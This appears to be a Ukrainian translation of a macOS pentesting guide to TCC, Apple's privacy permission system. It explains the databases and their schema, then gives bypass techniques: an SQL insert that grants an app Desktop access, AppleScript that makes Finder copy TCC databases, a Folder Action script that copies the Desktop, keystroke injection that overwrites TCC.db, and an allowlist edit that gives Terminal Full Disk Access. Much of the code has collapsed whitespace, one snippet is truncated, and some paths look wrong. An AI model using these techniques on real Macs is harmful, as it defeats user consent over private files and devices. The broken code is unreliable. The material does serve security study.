TCC (Прозорість, Згода та Контроль) є протоколом безпеки, що зосереджується на регулюванні дозволів додатків. Його основна роль полягає в захисті чутливих функцій, таких як сервіси геолокації, контакти, фотографії, мікрофон, камера, доступ до екрана та повний доступ до диска. Вимагаючи явної згоди користувача перед наданням доступу додатка до цих елементів, TCC підвищує конфіденційність та контроль користувача над своїми даними.
Користувачі стикаються з TCC, коли додатки запитують доступ до захищених функцій. Це видно через запит, який дозволяє користувачам схвалити або відхилити доступ. Крім того, TCC враховує прямі дії користувача, такі як перетягування та скидання файлів у додаток, щоб надати доступ до конкретних файлів, забезпечуючи, що додатки мають доступ лише до того, що явно дозволено.
TCC обробляється демоном, розташованим у /System/Library/PrivateFrameworks/TCC.framework/Support/tccd, і налаштовується в /System/Library/LaunchDaemons/com.apple.tccd.system.plist (реєструючи сервіс mach com.apple.tccd.system).
Існує tccd у режимі користувача, що працює для кожного увійшовшого користувача, визначеного в /System/Library/LaunchAgents/com.apple.tccd.plist, реєструючи сервіси mach com.apple.tccd та com.apple.usernotifications.delegate.com.apple.tccd.
Тут ви можете побачити tccd, що працює як система, так і як користувач:
Permissions are успадковані від батьківського додатку і дозволивідстежуються на основі Bundle ID та Developer ID.
TCC Бази Даних
Дозволи/заборони потім зберігаються в деяких TCC базах даних:
Системна база даних у /Library/Application Support/com.apple.TCC/TCC.db.
Ця база даних захищена SIP, тому лише обхід SIP може записувати в неї.
База даних TCC користувача $HOME/Library/Application Support/com.apple.TCC/TCC.db для налаштувань для кожного користувача.
Ця база даних захищена, тому лише процеси з високими привілеями TCC, такі як Повний Доступ до Диска, можуть записувати в неї (але вона не захищена SIP).
Попередні бази даних також захищені TCC для доступу на читання. Тому ви не зможете прочитати вашу звичайну базу даних TCC користувача, якщо це не з процесу з привілеями TCC.
Однак пам'ятайте, що процес з цими високими привілеями (як FDA або kTCCServiceEndpointSecurityClient) зможе записувати в базу даних TCC користувача.
Є третя база даних TCC у /var/db/locationd/clients.plist, щоб вказати клієнтів, яким дозволено доступ до служб геолокації.
SIP захищений файл /Users/carlospolop/Downloads/REG.db (також захищений від доступу на читання з TCC) містить місцезнаходження всіх дійсних TCC баз даних.
SIP захищений файл /Users/carlospolop/Downloads/MDMOverrides.plist (також захищений від доступу на читання з TCC) містить більше наданих дозволів TCC.
SIP захищений файл /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (може бути прочитаний будь-ким) є списком дозволених додатків, які потребують винятку TCC.
База даних TCC в iOS знаходиться в /private/var/mobile/Library/TCC/TCC.db.
Інтерфейс центру сповіщень може вносити зміни в системну базу даних TCC:
Однак користувачі можуть видаляти або запитувати правила за допомогою утиліти командного рядка tccutil.
Запитати бази даних
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Перевіряючи обидві бази даних, ви можете перевірити дозволи, які додаток дозволив, заборонив або не має (він запитає про це).
service - це рядкове представлення TCC дозволу
client - це ідентифікатор пакета або шлях до бінарного файлу з дозволами
client_type вказує, чи є це ідентифікатором пакета (0) або абсолютним шляхом (1)
Як виконати, якщо це абсолютний шлях
Просто виконайте launctl load you_bin.plist, з plist, як:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
auth_value може мати різні значення: denied(0), unknown(1), allowed(2) або limited(3).
auth_reason може приймати такі значення: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
Поле csreq призначене для вказівки, як перевірити бінарний файл для виконання та надання дозволів TCC:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
Ви також можете перевірити вже надані дозволи для додатків у System Preferences --> Security & Privacy --> Privacy --> Files and Folders.
Користувачі можутьвидаляти або запитувати правила за допомогою tccutil .
Скидання дозволів TCC
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC Перевірка підписів
База даних TCC зберігаєBundle ID програми, але також зберігаєінформацію про підпис, щоб переконатися, що програма, яка запитує використання дозволу, є правильною.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Отже, інші програми, які використовують таку ж назву та ідентифікатор пакета, не зможуть отримати доступ до наданих дозволів, наданих іншим додаткам.
Права та дозволи TCC
Додатки не тільки повиннізапитувати та отримувати доступ до деяких ресурсів, вони також повинні мати відповідні права.
Наприклад, Telegram має право com.apple.security.device.camera, щоб запитати доступ до камери. Додаток, який не має цього права, не зможе отримати доступ до камери (і користувач навіть не буде запитаний про дозволи).
Однак, щоб додатки отримали доступ до певних папок користувача, таких як ~/Desktop, ~/Downloads та ~/Documents, їм не потрібно мати жодних специфічних прав. Система прозоро оброблятиме доступ і запитуватиме користувача за потреби.
Додатки Apple не генеруватимуть запити. Вони містять попередньо надані права у своєму переліку прав, що означає, що вони ніколи не генеруватимуть спливаючі вікна, ні вони з'являться в жодній з баз даних TCC. Наприклад:
Це запобігатиме запиту Календаря на доступ до нагадувань, календаря та адресної книги.
Окрім деякої офіційної документації про права, також можна знайти неофіційну цікаву інформацію про права вhttps://newosxbook.com/ent.jl
Деякі дозволи TCC: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Немає публічного списку, який визначає всі з них, але ви можете перевірити цей список відомих.
Чутливі незахищені місця
$HOME (саме)
$HOME/.ssh, $HOME/.aws тощо
/tmp
Намір користувача / com.apple.macl
Як згадувалося раніше, можливо надати доступ до програми до файлу, перетягнувши його до неї. Цей доступ не буде вказаний у жодній базі даних TCC, але як додатковийатрибут файлу. Цей атрибут зберігатиме UUID дозволеної програми:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Цікаво, що атрибут com.apple.macl керується Sandbox, а не tccd.
Також зверніть увагу, що якщо ви перемістите файл, який дозволяє UUID програми на вашому комп'ютері, на інший комп'ютер, через те, що у тієї ж програми будуть різні UID, доступ до цієї програми не буде надано.
Розширений атрибут com.apple.maclне може бути очищений як інші розширені атрибути, оскільки він захищений SIP. Однак, як пояснено в цьому пості, можливо його вимкнути, зжавши файл, видаливши його та розжавши його.
TCC Privesc & Bypasses
Вставка в TCC
Якщо в якийсь момент вам вдасться отримати доступ на запис до бази даних TCC, ви можете використати щось на зразок наступного, щоб додати запис (видаліть коментарі):
Приклад вставки в TCC
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
TCC Payloads
Якщо вам вдалося потрапити в додаток з деякими дозволами TCC, перегляньте наступну сторінку з TCC payloads для їх зловживання:
Назва TCC дозволу для Automation: kTCCServiceAppleEvents
Цей конкретний дозвіл TCC також вказує на додаток, яке можна керувати в базі даних TCC (тому дозволи не дозволяють просто керувати всім).
Finder - це додаток, який завжди має FDA (навіть якщо він не з'являється в UI), тому якщо у вас є привілеї Automation над ним, ви можете зловживати його привілеями, щоб змушувати його виконувати деякі дії.
У цьому випадку вашому додатку знадобиться дозвіл kTCCServiceAppleEvents над com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Ви можете зловживати цим, щоб написати свою власну базу даних TCC користувача.
З цією дозволом ви зможете попросити Finder отримати доступ до обмежених папок TCC і надати вам файли, але, наскільки мені відомо, ви не зможете змусити Finder виконувати довільний код, щоб повністю зловживати його доступом FDA.
Отже, ви не зможете зловживати всіма можливостями FDA.
Це запит TCC для отримання привілеїв автоматизації над Finder:
Зверніть увагу, що оскільки додаток Automator має дозвіл TCC kTCCServiceAppleEvents, він може контролювати будь-який додаток, наприклад, Finder. Отже, маючи дозвіл контролювати Automator, ви також можете контролювати Finder за допомогою коду, як показано нижче:
Отримати оболонку всередині Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
Те ж саме відбувається з **додатком Script Editor,** він може контролювати Finder, але за допомогою AppleScript ви не можете змусити його виконати скрипт.
### Автоматизація (SE) до деякого TCC
**System Events можуть створювати дії папок, а дії папок можуть отримувати доступ до деяких папок TCC** (Робочий стіл, Документи та Завантаження), тому скрипт, подібний до наступного, може бути використаний для зловживання цією поведінкою:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Автоматизація (SE) + Доступність (kTCCServicePostEvent|kTCCServiceAccessibility) до FDA*
Автоматизація на System Events + Доступність (kTCCServicePostEvent) дозволяє надсилати натискання клавіш процесам. Таким чином, ви можете зловживати Finder для зміни TCC.db користувача або для надання FDA довільному додатку (хоча може бути запит на пароль для цього).
Приклад перезапису TCC.db користувача за допомогою Finder:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Якщо у вас є kTCCServiceEndpointSecurityClient, ви маєте FDA. Кінець.
Файл системної політики SysAdmin до FDA
kTCCServiceSystemPolicySysAdminFiles дозволяє змінювати атрибут NFSHomeDirectory користувача, що змінює його домашню папку і, отже, дозволяє обійти TCC.
База даних TCC користувача до FDA
Отримавши права на запис над базою даних TCC користувача, ви **не можете** надати собі FDA права, лише той, хто живе в системній базі даних, може це надати.
Але ви можете надати собі права автоматизації для Finder і зловживати попередньою технікою для підвищення до FDA*.
FDA до TCC дозволів
Повний доступ до диска в TCC називається kTCCServiceSystemPolicyAllFiles
Я не думаю, що це справжнє підвищення привілеїв, але на всякий випадок, якщо ви вважаєте це корисним: якщо ви контролюєте програму з FDA, ви можете модифікувати базу даних TCC користувачів і надати собі будь-який доступ. Це може бути корисно як техніка збереження у випадку, якщо ви можете втратити свої права FDA.
Обхід SIP для обходу TCC
Системна база даних TCC захищена SIP, тому лише процеси з вказаними правами можуть модифікувати її. Отже, якщо зловмисник знайде обхід SIP через файл (зможе модифікувати файл, обмежений SIP), він зможе:
Видалити захист бази даних TCC і надати собі всі дозволи TCC. Він міг би зловживати будь-яким з цих файлів, наприклад:
Системна база даних TCC
REG.db
MDMOverrides.plist
Однак є ще один варіант зловживати цим обхід SIP для обходу TCC, файл /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist є списком дозволених програм, які потребують винятку TCC. Отже, якщо зловмисник зможе видалити захист SIP з цього файлу і додати свою власну програму, програма зможе обійти TCC.
Наприклад, щоб додати термінал:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>